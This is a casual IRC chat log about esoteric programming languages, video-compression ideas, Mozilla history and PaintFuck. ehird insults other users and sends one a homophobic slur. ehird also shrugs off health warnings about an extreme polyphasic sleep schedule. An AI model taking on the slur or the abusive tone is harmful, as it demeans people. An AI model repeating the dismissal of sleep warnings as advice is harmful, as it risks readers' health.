21:36:57 <ehird> I have no fucking clue.
21:39:58 <ehird> 21:37 Ether_Man_: ehird, so basicly what you tell me is that you're a better and more authorative source than Mozilla org themselves? Righto..
21:39:58 <ehird> 21:37 ehird: Ether_Man_: Please, you are welcome to quote me sentences that disprove what I say. Could you take a few seconds to do that instead of pointing me to the same wiki page that agrees with me?
21:40:03 <ehird> 21:39 Ether_Man_: ehird, you do know what a release roadmap is I hope? And what an Initial draft means? https://wiki.mozilla.org/ReleaseRoadmap
21:40:10 <ehird> 21:39 ehird: Ether_Man_: Great, you didn't listen to me and you link to a totally irrelevant page. You're bloody Einstein, idiot.
21:40:16 <ehird> My idiotdar beeps.
21:41:14 <ais523> ehird: are you telling the truth, or trying to mislead people?
21:41:18 <GregorR> I'm sad that there was no reaction at all :P
21:41:33 <ehird> ais523: I'm telling the truth entirely; Ether_Man is a misguided idiot who cannot accept he's wrong and refuses to give arguments.
21:41:44 <AnMaster> I'm going to play with HDR tomorrow. Getting an image with both very light and very dark areas.
21:41:49 <ehird> I'm pretty damn certain exactly how the Mozilla project wen.
21:42:17 <GregorR> ehird: I don't understand what he believes ...
21:42:25 <GregorR> ehird: That Mozilla and Firefox are (source-wise) unrelated?
21:43:06 <ehird> GregorR: I don't even know; I think he thinks that Firefox uses Gecko but wasn't a fork of Mozilla (untrue), and that Mozilla was not just initially a rebranding of Netscape (colossally untrue)
21:43:20 <GregorR> ehird: Think I should try #suse next?
21:43:25 <GregorR> (Which I guess links to #opensuse
21:51:34 <GregorR> lawl, they got the cavalry on #suse :P
21:52:05 <FireFly> [22:51:20] Microsoft [n=Microsof@65.183.185.209] has quit IRC:
21:52:06 <FireFly> [22:51:35] <ryaxnb> microsoft, having succesfully trolled, has left freenode
21:52:06 <FireFly> [22:51:47] virsys [n=virsys@or-67-232-64-36.dhcp.embarqhsd.net] has quit IRC: Read error: 60 (Operation timed out)
21:52:06 <FireFly> [22:51:53] <ryaxnb> he got me; i googled it
21:53:02 <GregorR> When somebody @freenode/staff gets angry, it's time to /quit :P
21:53:49 <GregorR> What do you bet my nickserv registration disappears? :P
22:01:14 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
22:01:29 -!- psygnisfive has joined.
22:01:41 <bsmntbombdood> i wonder when google will put a full cas into their calculator
22:02:55 <Deewiant> ais523: Computer algebra system
22:03:15 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
22:05:00 -!- psygnisfive has joined.
22:07:23 <GregorR> OpenID is simultaneously extremely useful and totally useles.
22:12:27 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)).
22:14:43 -!- psygnisfive has joined.
22:15:02 -!- psygnisfive has changed nick to augur_.
22:15:16 -!- augur_ has changed nick to augur.
22:21:04 -!- augur has quit (Read error: 104 (Connection reset by peer)).
22:22:28 -!- psygnisfive has joined.
22:35:19 <GregorR> I enjoy Onerously Uptight Toccata more than I wish to admit :P
22:41:45 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)).
22:41:51 <ehird> GregorR: gimme a log
22:41:52 -!- Gracenotes_ has joined.
22:41:56 -!- Gracenotes_ has changed nick to Gracenotes.
22:42:01 <ehird> 22:07 GregorR: OpenID is simultaneously extremely useful and totally useles.
22:42:01 <ehird> 22:07 GregorR: *useless
22:42:15 <ehird> bsmntbombdood: let's invent a lossless video compression algo
22:42:19 <GregorR> I added OpenID support to Masterpiecemachine.
22:42:47 <ehird> bsmntbombdood: tuning it for animation or real?
22:43:56 <ehird> bsmntbombdood: you have to do one :P
22:44:01 <ehird> or it'll be sub-optimal
22:44:20 <ehird> bsmntbombdood: what sort of compression ratios are you looking at for movie-length (120 minutes) 1080p?
22:44:26 <ehird> from 1.2TB to hopefully...
22:44:48 <ehird> bsmntbombdood: but what would you like? (well, in reason; no everything-becomes-1-byte stuff)
22:46:25 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)).
22:50:17 <ehird> bsmntbombdood: care to share a few ideas?
22:50:19 <ehird> video compression is fun
22:50:28 <ehird> especially if you can decode it in realtime
22:51:49 <bsmntbombdood> pad, break into 16*16 or whatever chunks, output an undelimited stream of them | \
22:52:35 <ehird> bsmntbombdood: I've always disliked specific chunk sizes
22:52:41 <bsmntbombdood> xor all chunks in a sliding window, sort based on hamming weight, output the lowest | \
22:52:42 <ehird> Since it leads to blocky-looking stuff lossy
22:52:50 <ehird> for lossless, not as much of a problem :LP
22:53:05 <ehird> for HD you'd want like 128x128
22:53:11 <ehird> bsmntbombdood: bzip2 instead of gzip?
22:53:23 <ehird> or that really fast, really good compression algorithm, forget its name
22:53:46 <ais523> lzma is slow to compress but fast to decompress
22:58:04 <ehird> bsmntbombdood: any ideas beyond that? :P
22:58:38 <bsmntbombdood> you can probably do better with some specialized entropy coding for whatever distribution it turns out you get
23:05:52 <bsmntbombdood> given A, A^D, D^B, B^E, E^C, you can solve for all A, B, C, D, E, right?
23:09:47 -!- MigoMipo has quit (Read error: 104 (Connection reset by peer)).
23:09:52 <ehird> bsmntbombdood: of course
23:10:00 <ehird> bsmntbombdood: since A^B is reversible with either A or B
23:10:08 <ehird> (just xor them :P)
23:10:18 -!- MigoMipo has joined.
23:10:54 <psygnisfive> it lets you compress N bits of data to N/2+1 bits
23:12:00 <ehird> psygnisfive: erm no, it doesn't save any space.
23:14:07 <ehird> bsmntbombdood: that's 1180591620717411303424 pixels if you use 64 pixel blocks
23:21:10 <ehird> bsmntbombdood: what source material are you testing this on?
23:21:19 <ehird> (you should compare it with huffyuv btw.)
23:22:39 -!- M0ny has quit.
23:28:24 -!- ais523 has quit (Remote closed the connection).
23:33:00 <ehird> bsmntbombdood: 128-bit blocks then? :P
23:33:20 <ehird> bsmntbombdood: eh?
23:33:42 <ehird> bsmntbombdood: with sse?
23:33:47 <ehird> it operates on 128 bit values
23:41:13 -!- kar8nga has quit (Remote closed the connection).
23:44:07 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:51:49 -!- inurinternet has joined.
00:02:22 <ehird> bsmntbombdood: what equations
00:02:25 <bsmntbombdood> i have a list of tuples of the form (a, b, D[a] ^ D[b])
00:02:31 <ehird> i have magical mathematica so i could give it a go if you want :P
00:02:40 <ehird> bsmntbombdood: erm d is of length 2 right?
00:02:59 <ehird> bsmntbombdood: that's, uh, not possible, anyway. as you just have the values, not any key stuff
00:03:02 <ehird> D[a] isn't related to a
00:03:22 <bsmntbombdood> a list of tuples of the form (a, b, D[a] ^ D[b]), and D[0]
00:03:36 <ehird> bsmntbombdood: i'm not convinced that's possible.
00:03:40 <ehird> bsmntbombdood: wait, are the tuples like
00:03:50 <ehird> or is it all permutations
00:04:43 <ehird> bsmntbombdood: which
00:04:57 <fizzie> It's only possible if you have the right tuples, though. If you know D[0], Knowing D[0]^D[1], D[2]^D[3], D[2]^D[4]
00:05:03 <fizzie> Grah, backspace-problem.
00:05:20 <ehird> ah and you wanna know what (a,b)s you need?
00:05:47 <bsmntbombdood> <bsmntbombdood> given A, A^D, D^B, B^E, E^C, you can solve for all A, B, C, D, E, right?
00:06:02 <ehird> bsmntbombdood: well
00:06:12 <ehird> you can figure it out frmo that
00:06:59 <ehird> bsmntbombdood: if we have A, A^D, D^B then B=(D^B)^((A^D)^A)
00:07:17 <fizzie> You can consider the (a,b) tuple as an edge in a graph, then just find a path that starts from 0 and visits each other vertex. (Then you can walk that path by moving from D[a] to D[b] using D[a] and D[a]^D[b].)
00:07:20 <ehird> bsmntbombdood: i don't get your question
00:07:35 <ehird> bsmntbombdood: only thousands is trivial though.
00:08:22 <bsmntbombdood> ehird: ok, in a 120 minute 1080p movie, D is 1.7 billion items long
00:08:33 <ehird> bsmntbombdood: true dat.
00:08:40 <ehird> 00:07 fizzie: You can consider the (a,b) tuple as an edge in a graph, then just find a path that starts from 0 and visits each other vertex. (Then you can walk that path by moving from D[a] to D[b] using D[a] and D[a]^D[b].)
00:08:54 <ehird> bsmntbombdood: it's just graph-walking
00:09:06 <ehird> bsmntbombdood: ofc you want to do this at encode-time, right?
00:09:12 <ehird> you're not expecting to do this in real-time i hope
00:09:30 <ehird> bsmntbombdood: then it'll be far too slow
00:09:44 <fizzie> You don't of course actually need a single path that visits each vertex. You just need to have each vertex reachable from 0.
00:09:52 <bsmntbombdood> i was thinking to just keep a sparse array of data-dependencies
00:09:59 <ehird> bsmntbombdood: finding a shitload of short paths in 1.7 billion items?
00:10:06 <ehird> that'll take weeks, man
00:11:37 <ehird> fizzie: can you disillusion fizzie
00:12:00 <ehird> bsmntbombdood: btw this codec is useless if you can't decode fast, because otherwise you need the disk space for the full version :)
00:13:27 <fizzie> Well... if you have a bitmap of all the D[x]'s you know (initialized to contain only D[0]) you can just loop the following: for each known D[a], take all the (a,b) tuples for which D[b] is unknown and use D[a] and D[a]^D[b] to find out D[b]. Then stop when during one iteration you didn't discover any new D[b]'s. If there are any remaining unknown ones, you're out of luck.
00:14:01 <ehird> fizzie: That seems filesize-inflatingly.
00:14:26 <fizzie> I haven't really been following the context here; I was just talking about the abstract thing.
00:14:33 <fizzie> I was watching a lossily compressed movie. :p
00:14:35 <bsmntbombdood> keep a map of undecoded tuples, that you scan for dependencies, outputting as you go
00:17:38 <fizzie> If you're sure you actually have that case like "A, A^D, D^B, B^E, E^C, ..." where you have a single path, you can just directly walk through it by keeping the tuples in map where you can easily index by a.
00:18:02 <fizzie> (Or even in an array, ordered by a, since each one will only be there once.)
00:18:25 <bsmntbombdood> an array won't work because you can't keep a whole movie in memory
00:18:47 <ehird> i eagerly wait you decoding this fast enough to watch
00:18:55 -!- Gracenotes has joined.
00:21:03 <fizzie> If you don't want to keep the whole movie in memory, I guess you have some sort of thing there that you don't get a (1, [last block of the movie]) tuple.
00:27:30 <ehird> no i know i cant download the whole internet. but u know how u can save website to youre computer...can i download facebook or even just the facebook chat
00:27:37 <ehird> http://forums.macrumors.com/showthread.php?t=717413
00:28:40 <ehird> psygnisfive: ur a fag
00:29:34 <ehird> Originally Posted by rdowns
00:29:36 <ehird> Can't believe no one mentioned this. Just take a server on the plane.
00:29:38 <ehird> where can i get one and do they let u take them on the plane? if i do will i be able to use fb and aim? im just really scared of goin on the plane and it wd be cool to talk to friends
00:29:46 <psygnisfive> ehird, im thinking of designing a grammar engine language
00:30:35 <psygnisfive> and what i intend to do is have grammar rules be first class in the language
00:31:34 -!- GreaseMonkey has joined.
00:38:23 <ehird> bsmntbombdood: turn green.
00:39:35 <ehird> bsmntbombdood: meh
00:39:43 <ehird> it own't it won't compress enough :)
00:48:09 <ehird> bsmntbombdood: wut
00:48:29 <bsmntbombdood> i started playing with elias-gamma coding results from just the sequential xoring
00:49:16 <ehird> bsmntbombdood: sweet
00:49:22 <ehird> you could just put it in a loop where it stops if it doesn't help :P
00:50:31 <bsmntbombdood> actually, it will expand a ton, then shrink back smaller
00:51:33 <ehird> bsmntbombdood: i'm not exactly sure how elias gamma would ever shorten it
00:52:47 <bsmntbombdood> after xoring, you end up with lots of small numbers
00:53:20 <ehird> bsmntbombdood: but elias-gamma always is longer than the source
00:53:48 <ehird> bsmntbombdood: http://en.wikipedia.org/wiki/Elias_gamma_coding
00:53:54 <ehird> it always prepends something to the binary
00:53:57 <ehird> thus it will never shrink
00:54:13 <ehird> bsmntbombdood: the number you're encoding
00:54:16 <bsmntbombdood> that's only meaningful for a certain encoding of source
00:54:16 * Kolonai ponders how to store and combine fractions of bits.
00:54:30 <ehird> bsmntbombdood: do you mean that elias-gammaing it, then gzipping, sometimes shortens it?
00:54:32 <ehird> i can believe that
00:54:44 <ehird> bsmntbombdood: so htf does it shorten it
00:55:34 <ehird> bsmntbombdood: bitsin(elias-gamma(x))>bitsin(x).
00:55:39 <ehird> so elias-gamma can never shorten...
00:56:32 <ehird> bsmntbombdood: bitsinbinaryrepresentationof.
00:56:52 <bsmntbombdood> how do you encode an arbitrary natural number in binary?
00:57:13 <ehird> bsmntbombdood: from [[Elias gamma coding]]:
00:57:17 <ehird> Write it in binary.
00:57:59 <ehird> bsmntbombdood: you're saying that sometimes elias-gamma shortens the input
00:58:04 <ehird> that makes no fucking sense
00:58:21 <bsmntbombdood> how are you going to find the boundaries between the numbers?
00:58:34 <ehird> but elias-gamma has overhead
00:58:39 <ehird> IT CAN NEVER SHORTEN
00:58:45 <ehird> why are you dodging that?
00:58:52 <ehird> you are saying that elias gamma is shortening at some point
00:58:53 <ehird> that's nonsensical
00:59:00 <ehird> i don't freaking know
00:59:07 <ehird> 00:50 bsmntbombdood: actually, it will expand a ton, then shrink back smaller
01:02:01 -!- BeholdMyGlory has quit (Read error: 54 (Connection reset by peer)).
01:04:43 -!- psygnisfive has changed nick to augur.
01:10:43 -!- amca has joined.
01:13:07 -!- FireFly has quit ("Later").
01:21:41 <bsmntbombdood> ehird: for example, the sequnce (1, 200000) is compressed into 208738 bits
01:22:09 <ehird> bsmntbombdood: odd definition of compress :)
01:22:48 <ehird> i get that it's a compact representation
01:22:50 <ehird> but it's not compression :P
01:23:22 <bsmntbombdood> uh, ok -- naively, using 18 bit ints, it takes 3600000 bits
01:24:18 <bsmntbombdood> or, using elias gamma without any xoring, it takes 6475750 bits
01:24:32 <ehird> it's a good representation
01:24:34 <ehird> i'll give you that
01:26:15 <bsmntbombdood> obviously it's very good with runs - each item takes 1 bit
01:29:56 <bsmntbombdood> [4, 12, 4, 3] * 1000 -> 4018 bits after 4 iterations
01:35:27 -!- jix has quit (Read error: 113 (No route to host)).
01:50:20 <bsmntbombdood> you know, bzip2 ought to be really easy to paralellize
01:50:35 <bsmntbombdood> because the block sorting is probably the slowest part, and that's done in fixed sized blocks
01:51:44 <amca> bsmntbombdood: Can I ask what block sorting is?
02:24:25 -!- oerjan has joined.
02:30:34 -!- oerjan has quit ("Reboot").
02:34:28 -!- oerjan has joined.
02:45:28 -!- calamari- has joined.
02:45:31 -!- calamari has quit (Read error: 110 (Connection timed out)).
03:29:23 -!- calamari- has quit ("Leaving").
03:38:32 <GregorR> GregorR, GreaseMonkey, Gracenotes: This channel ain't big enough for the three of us.
04:13:14 -!- augur_ has joined.
04:13:14 -!- augur has quit (Read error: 104 (Connection reset by peer)).
04:16:42 -!- Corun has quit (Read error: 110 (Connection timed out)).
05:12:13 -!- augur_ has changed nick to augur.
05:33:41 -!- oerjan has quit ("leaving").
05:57:01 -!- oerjan has joined.
07:04:54 <GregorR> http://codu.org/music/auto/Blusteringly%20Versed%20Sonata.ogg // the latest version of my algorithm is having some sweet results 8-D
07:16:22 <GregorR> (02:14:53 AM) <>: My friend didn't think that second one was made by ai
07:16:28 <GregorR> Cool, it passes the musical Turing test :P
07:22:50 <GregorR> It's music made by an algo I wrote.
07:23:04 <GregorR> Just generative, but I choose not to correct my friend :P
07:42:51 -!- kar8nga has joined.
07:48:28 <GregorR> masterpiecemachine.com is registered and hasn't been updated in 9 years ...
07:48:38 <GregorR> I think I should email the owner and ask to buy it :P
07:49:52 <oerjan> what, you mean wolfram hasn't bought it for their alpha yet? ;D
07:56:26 -!- coppro has quit (Read error: 110 (Connection timed out)).
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:04:35 <augur> oerjan, you were using the Royal 'they'
08:05:09 <augur> because Wolfram is a royal twit
08:05:37 <oerjan> thank you, explainer-of-jokes
08:06:06 <augur> NO PROBLEM, CITIZEN.
08:06:22 <lifthrasiir> oerjan: that should be masterpieceautomaton.com.
08:06:50 <oerjan> except i'm pretty sure alpha is no CA
08:08:41 <augur> not all automaton are cellular automaton!
08:09:47 <oerjan> i don't think that's english...
08:10:11 <oerjan> it just means something different
08:10:19 <augur> i just made it up for fun.
08:10:23 <augur> stop being ridiculous.
08:10:39 <oerjan> http://en.wikipedia.org/wiki/Automat
08:11:51 <augur> im saying i just constructed the word on the fly
08:12:06 <augur> that it is homophonous with an existing word is coincidental and can be dismissed as irrelevant.
08:12:19 <augur> on a related note: http://en.wikipedia.org/wiki/File:Bamn_Automat.png
08:12:23 <augur> ive been past there.
08:13:41 <augur> sad to hear they've closed
09:16:39 -!- tetha has quit (Nick collision from services.).
09:16:48 -!- tetha has joined.
09:40:52 -!- ais523 has joined.
09:44:31 -!- ais523 has quit (Read error: 54 (Connection reset by peer)).
09:44:41 -!- ais523 has joined.
10:03:49 -!- oerjan has quit ("leaving").
10:06:55 -!- MizardX- has joined.
10:17:46 -!- MigoMipo has joined.
10:21:56 -!- whtspc has joined.
10:24:36 <whtspc> i have made a sketch for an esolang based on nand logic-gates
10:24:40 -!- MizardX has quit (Read error: 110 (Connection timed out)).
10:24:47 <whtspc> it lacks recursion for now
10:24:54 -!- MizardX- has changed nick to MizardX.
10:25:33 <whtspc> at initialisation you have a infinite memory tape filled with 0's
10:26:40 <whtspc> every memory cell has the adress named by a natural number
10:27:18 <whtspc> the main syntax of the language is this:
10:28:16 <AnMaster> whtspc, so how do you program in it?
10:28:18 <whtspc> which means that the result of the value at adress 2 NAND the value at adress 3 will be put in adress 1
10:28:48 <whtspc> 3:1#2/4:3#1/5:3#2/6:4#5
10:28:48 <AnMaster> whtspc, are the rules processed in order, iterating through the list?
10:29:07 <whtspc> if 1 is equal to 2, 6 is false (0)
10:29:58 <whtspc> You will be able to input with the following command ,adress
10:30:13 <whtspc> and it will put the binary byte starting at the adress
10:30:35 <AnMaster> whtspc, based on how bf does it?
10:31:08 <AnMaster> whtspc, hm, you can't skip input/output based on conditions can you?
10:31:10 <whtspc> so I need a thing for recursion that's more creative
10:31:31 <AnMaster> so you will always have to input/output a fixed number of bytes each iteration
10:32:24 <AnMaster> whtspc, are these rules separated by a newline in the input or?
10:32:25 <whtspc> It needs an if-construction
10:33:14 <whtspc> I like esolangs without newlines, so probably a / will separate the actions
10:34:20 <AnMaster> whtspc, are you new here? I don't remember seeing you here before.
10:34:42 <whtspc> I like some fair feedback (tell me it's boring/been done a 1000 times before), so I can quit working on it :)
10:34:58 <whtspc> I don't come here often
10:35:00 <AnMaster> whtspc, actually I haven't heard of something like this before.
10:35:30 <ais523> it's rare to see a BF derivative that is actually interesting
10:36:54 <whtspc> I find it rather boring to insert [ ] in the nand-language
10:37:15 <whtspc> it would probably look like 6[
10:37:34 <AnMaster> whtspc, that looks like some sort of IR representation for some optimising BF compiler
10:37:36 <whtspc> if memorycell 6 is false skip the parentheses
10:38:13 <AnMaster> what about "if memory cell x nand y != memory cell z then"
10:38:39 <whtspc> excuse me but what's IR representation?
10:39:09 <AnMaster> whtspc, oops, that would be "Intermediate Representation representation"
10:39:10 <whtspc> more NAND to complicate, or as feature?
10:39:17 <AnMaster> so drop one of those representation,
10:39:54 <AnMaster> whtspc, is that bitwise nand btw?
10:40:38 <AnMaster> hm ok. So then it is same as logical nand for this purpose
10:42:47 <whtspc> Could one cell (for instance cell 0) be the checkup cell for iteration?
10:43:19 <whtspc> so the program is divided in portions with eg. char !
10:44:02 <whtspc> when program reaches ! it checks memory cell 0, if true go back to previos !
10:44:39 <AnMaster> whtspc, might work. You need some way to shuffle data to/from this cell in between
10:44:49 <AnMaster> also another question. How do you fill in initial values
10:45:09 <AnMaster> wait. with nand that isn't an issue is it?
10:45:27 <whtspc> the initial value is 0
10:45:48 <AnMaster> nand always confuse me. Probably because most languages doesn't have it.
10:45:56 <whtspc> memA NAND memA is the same as not memA
10:46:24 <ais523> no need for a separate operator, you can trivially form it out of the ones you have
10:47:42 <whtspc> if you have one cell to check for returning back to previous !
10:47:55 <whtspc> I think you can't have loops in loops
10:49:58 <AnMaster> whtspc, can't you shuffle the value around
10:50:22 <AnMaster> like "move loop cell to cell x, move cell y to loop cell"
10:50:32 <AnMaster> not sure how you would do that with nand
10:50:59 <ais523> you can swap two values with just nands
10:51:07 <ais523> make the nands into xors and do an xor swap
10:51:31 <whtspc> that would be very interesting
10:52:47 <whtspc> or maybe it'sjust the same as checking wether the state of a certain cell is true/false
10:52:59 <whtspc> but complicated with swapping
10:58:35 <whtspc> other thing that worries me a bit is that when an adress isn't pointed to in the program, it can never be part of execution
10:58:43 <whtspc> but I don't know if that
10:58:54 <whtspc> is problem to make working language
11:12:32 <whtspc> Oh, and the name of the language would probably refer to a certain ABBA song
11:13:47 <whtspc> because more esolangs should refer to ABBA-songs
11:22:51 -!- amca has quit ("Farewell").
11:28:59 -!- BeholdMyGlory has joined.
11:31:29 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
11:36:35 -!- M0ny has joined.
11:55:06 -!- tombom has joined.
11:58:12 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
11:58:29 -!- M0ny has quit.
12:05:33 -!- bsmntbombdood has joined.
12:10:31 -!- ehird has left (?).
12:10:35 -!- ehird has joined.
12:10:49 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.11/2009060215]").
12:16:56 -!- inurinternet has quit (Read error: 60 (Operation timed out)).
12:20:02 -!- FireFly has joined.
12:27:39 -!- bsmntbombdood has quit (Success).
12:33:56 -!- MaxDrAkyla has joined.
12:34:13 -!- MaxDrAkyla has left (?).
12:52:55 -!- sebbu has joined.
13:01:14 -!- ais523 has quit (Remote closed the connection).
13:08:03 -!- sebbu2 has quit (Read error: 110 (Connection timed out)).
13:18:49 -!- BeholdMyGlory has quit (Remote closed the connection).
13:37:48 -!- kar8nga has quit (Read error: 110 (Connection timed out)).
14:23:36 -!- olsner has quit (Read error: 110 (Connection timed out)).
14:31:20 <ehird> "Amusing random IRC paste from people with names like 'BBB' and 'Dark_Shikari'. Very authoritative. Links to specific patents please. Thanks."
14:31:25 <ehird> — because authority is determined by IRC nickname.
14:33:44 -!- MigoMipo has quit (Read error: 60 (Operation timed out)).
14:49:53 -!- MigoMipo has joined.
14:53:54 -!- jix has joined.
14:54:09 -!- Corun has joined.
15:03:34 -!- oerjan has joined.
15:04:15 -!- olsner has joined.
15:14:29 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)).
15:25:53 <AnMaster> ehird, where is that quote from
15:26:22 <ehird> BBB and Dark_Shikari are developers of x264, which is basically the best open source lossy video encoder in existence.
15:26:33 <oerjan> we figured u reddit, but _where_?
15:26:33 <ehird> (and possibly one of the best lossy encoders full stop)
15:26:44 <ehird> oerjan: haw haw haw
15:29:13 <AnMaster> oerjan, I like the annotation to IWC today
15:30:12 <AnMaster> oerjan, I guess having a computer program that need exact time doesn't count?
15:30:59 <oerjan> rolexes are for people, not computer, AnMaster.
15:31:23 <ehird> "Seriously, who need to know the time to better than a few seconds anyway"
15:31:35 <ehird> unless your program is a strong AI, anthropomorphizing it is wrong.
15:31:43 -!- Asztal has quit (Read error: 60 (Operation timed out)).
15:31:47 <oerjan> yeah they don't like that
15:32:23 -!- sanxiyn has joined.
15:34:44 -!- Asztal has joined.
15:39:06 <AnMaster> Jun 14 15:37:41 tux [99654.704060] ata4.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x6 frozen
15:39:06 <AnMaster> Jun 14 15:37:41 tux [99654.704075] ata4.00: cmd ca/00:01:98:7d:65/00:00:00:00:00/e6 tag 0 dma 512 out
15:39:06 <AnMaster> Jun 14 15:37:41 tux [99654.704078] res 40/00:00:01:4f:c2/00:00:00:00:00/00 Emask 0x4 (timeout)
15:39:19 <ehird> Anyone have the paintfuck .swf lying around? Asztal? You did some stuff with it. Slereah?
15:39:19 <AnMaster> the computer locked up for about half a minute during that
15:39:27 <ehird> The file upload expired.
15:39:30 <AnMaster> it seems it re-initialised the drive after:
15:39:41 <AnMaster> Jun 14 15:37:41 tux [99654.704084] ata4.00: status: { DRDY }
15:39:42 <AnMaster> Jun 14 15:37:41 tux [99654.704112] ata4: soft resetting link
15:39:42 <AnMaster> Jun 14 15:37:41 tux [99654.861464] ata4.00: configured for UDMA/100
15:39:42 <AnMaster> Jun 14 15:37:41 tux [99654.861484] ata4: EH complete
15:42:51 -!- bsmntbombdood has joined.
15:43:45 <AnMaster> ehird, any clue what DRDY is? All I find on google is various error messages containing it, and some vague mention saying basically "DRDY is useless, it should not have been in the standard". But I can't find a description on what this "DRDY" _is_...
15:44:07 <AnMaster> ehird, ATA error message from dmesg
15:44:14 <AnMaster> <AnMaster> Jun 14 15:37:41 tux [99654.704084] ata4.00: status: { DRDY }
15:44:19 <ehird> AnMaster: get ata standard?
15:44:41 <ehird> http://www.t13.org/
15:44:43 <ehird> http://www.t13.org/
15:44:45 <ehird> Technical Committee T13 is responsible for all interface standards relating to the popular AT Attachment (ATA) storage interface utilized as the disk drive interface on most personal and mobile computers today.
15:44:53 <ehird> AnMaster: it may be open.
15:45:04 <AnMaster> ehird, so you didn't happen to know what it was then?
15:47:50 <AnMaster> include/linux/ata.h: ATA_DRDY = (1 << 6), /* device ready */
16:05:25 -!- KingOfKarlsruhe has joined.
16:07:39 <ehird> 15:39 ehird: Anyone have the paintfuck .swf lying around? Asztal? You did some stuff with it. Slereah?
16:11:05 -!- kar8nga has joined.
16:18:08 <FireFly> http://firefly.nu/diverse/bottles.html <-- I want CSS conditionals :|
16:18:38 <FireFly> And HTML in content:-inserted content
16:18:53 <ehird> FireFly: just do things like :after:after:before
16:18:55 <ehird> and use CSS on 'em
16:19:04 <FireFly> Hm, is that actually possible?
16:19:28 <ehird> FireFly: yours goes to -1 bob :)
16:19:36 <ehird> lifthrasiir: he knows that much...
16:20:01 <FireFly> I can't correct the grammar either
16:20:13 <lifthrasiir> so is there any way to loop only using css?
16:20:53 <FireFly> My first idea was to insert a new <div class="bottle"> in the :after content, e.g. recursively
16:21:00 <FireFly> But I realised I can't insert HTML :(
16:21:06 -!- MizardX has quit (Read error: 104 (Connection reset by peer)).
16:21:11 -!- MizardX has joined.
16:37:24 <ehird> 16:07 ehird: 15:39 ehird: Anyone have the paintfuck .swf lying around? Asztal? You did some stuff with it. Slereah?
16:46:12 <ehird> oerjan: haf you got it?
16:47:23 <GregorR> Aren't there other implementations?
16:48:38 <ehird> yeah but they're all shit to use
16:48:41 <ehird> and slow and crap.
16:56:15 -!- Corun has quit ("Leaving...").
17:01:28 <ehird> i'm gonna try the uberman's sleep schedule soon.
17:01:51 <ehird> in spite of all the "if you're under 18 or pregnant don't do this you fucking retard you need >3hrs of sleep a day" warnings people say. :)
17:03:14 <oerjan> well you should at least be safe on the pregnancy issue.
17:03:29 <ehird> yeah i don't plan to get pregnant any time soon
17:04:55 <ehird> i'm just wary about losing ~10 days to insanity
17:05:18 <ehird> also bsmntbombdood had a pretty fucking bad time with uberman's :P
17:05:31 <Asztal> I don't have the .swf, sorry :(
17:05:38 <oerjan> i figure anyone who starts with uberman's at this point is already insane, so nothing to worry about.
17:05:43 <ehird> Asztal: do you have the .exe?
17:05:46 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
17:05:53 <ehird> i might be able to extract the .swf or sth
17:05:59 <Asztal> ehird: possibly, likely in fact
17:06:09 <ehird> oerjan: to boot, lack of sunlight depresses me :)
17:06:14 <Asztal> though I preferred the javascript + canvas one
17:06:24 <ehird> guess i could buy one of those sunlight emulators
17:07:40 <ehird> i should write some stuff when i start uberman's
17:07:52 <ehird> i end up pretty surrealist after a day with no night's sleep
17:08:53 <ehird> the really cool thing about uberman's is how it rewires your brain to enter REM immediately
17:09:06 <ehird> Asztal: so uh could you upload it :D
17:09:37 <oerjan> preferably somewhere permanent, the wiki is missing a working link...
17:09:48 <ehird> yuh, filebin.ca would be nice
17:10:09 -!- jix has quit ("Lost terminal").
17:11:09 <oerjan> that goes for the .exe too
17:11:16 <ehird> oerjan: btw if i do uberman's for 70 years (= 83, a bit optimistic life expectancy but the march of technology etc) straight, i will gain an extra 14 and a half years awake :D
17:11:25 <ehird> oerjan: the .exe is just a compiled .swf, so it's rather useless
17:12:28 <ehird> of course the disadvantage is: if it does physiological damage, i'll be worse off than if I tried uberman's later, due to being younger and still growing
17:13:24 <Asztal> http://filebin.ca/hevveq/pain.swf
17:13:46 <Asztal> I'd upload to my own website, but that looks rather unpermanent at the minute :(
17:14:03 <GregorR> Somebody put it in the files archive.
17:14:25 * pikhq seems to be somewhat likely to hit 80...
17:14:49 <pikhq> Given that my relatives tend to die in their 80s or 90s.
17:15:01 <ehird> pikhq: i think that's pretty much a given if we all avoid being killed. with the accelerating rate of science and the possibility of the singularity, 80 is a weak, weak estimate :)
17:15:14 <pikhq> ehird: Right, right.
17:15:34 <ehird> also cryonics; if it works, there's people like 150 years old alive :)
17:15:38 <pikhq> Speaking of: We are fucking *growing organs* and *putting them in people*.
17:15:43 <ehird> well, in a solid state coma
17:15:56 <ehird> pikhq: a performance artist got himself an ear grown and put it on his arm
17:15:58 <ehird> and i just thought
17:16:04 <ehird> why the fuck do you want a grown ear on your arm
17:16:10 <ehird> WHAT IS THE POINT OF THAT IT DOESN'T EVEN DO ANYTHING
17:16:16 <ehird> IT JUST HEARS AND RELAYS THE HEARING ONTO NOTHING
17:16:38 <GregorR> I just like that expression :P
17:16:57 <oerjan> ehird: at this rate you could well end up getting pregnant...
17:17:07 <ehird> singularity babies
17:17:34 * ehird installs standalone flash player
17:18:54 -!- pikhq_ has joined.
17:19:10 -!- pikhq has quit (Nick collision from services.).
17:19:16 -!- pikhq_ has changed nick to pikhq.
17:21:43 <ehird> now to play with it!
17:21:57 <ehird> paintfuck is fun :)
17:22:49 <ehird> 05:55:14 <ehird> pgimeno: whtspc: *[[se*nwnw*se*se]*[ne*swsw*ne*ne]*]
17:22:51 <ehird> okay i love how that bounces around.
17:25:41 <ehird> ahhh it's so nice to watch the pseudoturing automata.
17:26:10 <GregorR> ehird: http://codu.org/music/auto/Ridiculously%20Absent%20Toccata.mid (or .ogg)
17:26:39 <ehird> GregorR: it's good, but the tunes as of late have been a bit too dramatic imo
17:27:20 <ehird> GregorR: wow, my midi is way better than yours
17:27:25 <ehird> the .ogg sounds like shit
